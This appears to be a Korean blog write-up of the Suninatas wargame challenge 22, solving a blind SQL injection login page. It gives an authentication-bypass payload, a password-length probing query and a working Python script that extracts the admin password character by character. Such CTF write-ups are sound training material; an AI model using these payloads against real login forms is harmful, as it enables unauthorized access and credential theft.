Wargame/Suninatas

[Wargame] Suninatas 22번 Write-Up

dodoh4t 2022. 6. 5. 03:45
728x90
반응형

문제 화면

[Suninatas 22번 문제 화면]

- id와 pw를 입력할 수 있는 폼이 보이며, Filtering Keywords 들이 나열되어 있다.

- Blind SQL Injection을 이용하여 pw 를 알아내는 문제인 듯 하다.

 

 

소스코드

[페이지 소스코드]

- 전체적인 소스코드를 확인하면 더욱 좋겠지만…

- 사실 이 정도만 확인해도 얻을만한 정보는 충분히 얻었다고 생각한다 !

- GET 방식을 통해 form 데이터가 전송되는 점을 확인할 수 있으며,

- ID : guest / PW : guest 인 점, 그리고 admin 계정의 pw를 알아내야한다는 점을 알 수 있다.

- 궁극적으로 Blind SQL Injection을 이용하여 admin의 pw를 알아내면 되는 문제이다.

 

 

SQL Injection 기본 구문 삽입 시도

[SQL Injection 기본 구문 삽입]

- ID 값으로 admin’ -- 을 입력하고, pw 값으로 1을 입력해준 뒤 Login을 해보았다.

- SQL Injection 공격이 성공적으로 이루어져 admin 계정으로 로그인이 되었다.

- 그러나, 목표는 admin의 패스워드를 탈취하는 것이다..!

- 먼저 admin의 패스워드 길이부터 알아내도록 하자 !

 

 

len(pw) 를 통한 패스워드 길이 유추

[len(pw)를 통한 패스워드 유추]

- 패스워드 길이를 알아내는데 사용한 쿼리문은 다음과 같다.

- admin’ and len(pw)=[대입 숫자] --

- 패스워드 길다 하더라도 수십자리 이상은 안될거라 생각했기에, 손수 1부터 작업했다..

- 9를 대입했을 경우까지는, False를 출력하지만, 10을 대입한 순간 OK admin이 출력된다 !

- 이를 통해 admin 계정의 패스워드 길이는 10 임을 확인할 수 있다.

- 패스워드 길이를 확인했으니 다음은 패스워드 값을 알아내보자 !

 

 

패스워드 값을 알아내는 경우 알파벳 대소문자, 특수문자, 숫자를 각 자리마다 모두 대입하여

알아내야하므로, 수동적으로 직접 대입하는데는 시간적으로 무리가 있다.. 따라서 Python을

이용하여 코드를 작성하여 빠르게 값들을 대입하도록 한다 !

 

 

blind_sql.py 작성

import requests

pw = ''

for i in range(1,11):
    for j in range(33, 127):
        r = requests.get("http://suninatas.com/challenge/web22/web22.asp?id=admin' and substring(pw,{},1)='{}' -- &pw=1".format(i,chr(j)))
        if r.text.find("OK") > 1:
            pw += chr(j)
            print(str(i)+"번째 자리 패스워드 : "+chr(j))
print("패스워드 : " + pw)

- requests 모듈을 이용하여 Blind SQL Injection 코드를 작성하였다.

- 대입한 문자와 admin의 자릿수에 맞는 문자가 일치할 경우 문자를 출력한다.

- 문자열 대입의 경우 chr 함수를 이용하여 아스키 코드 수 형식으로 대입한다.

- 아스키 코드 형식을 사용해야 range를 통해 대입하기 용이하기 때문이다 !

- 작성한 코드를 실행해보면 …

 

 

admin 패스워드 값 획득

[admin 패스워드 값 획득]

- 성공적으로 admin의 패스워드 값을 획득할 수 있다 !

728x90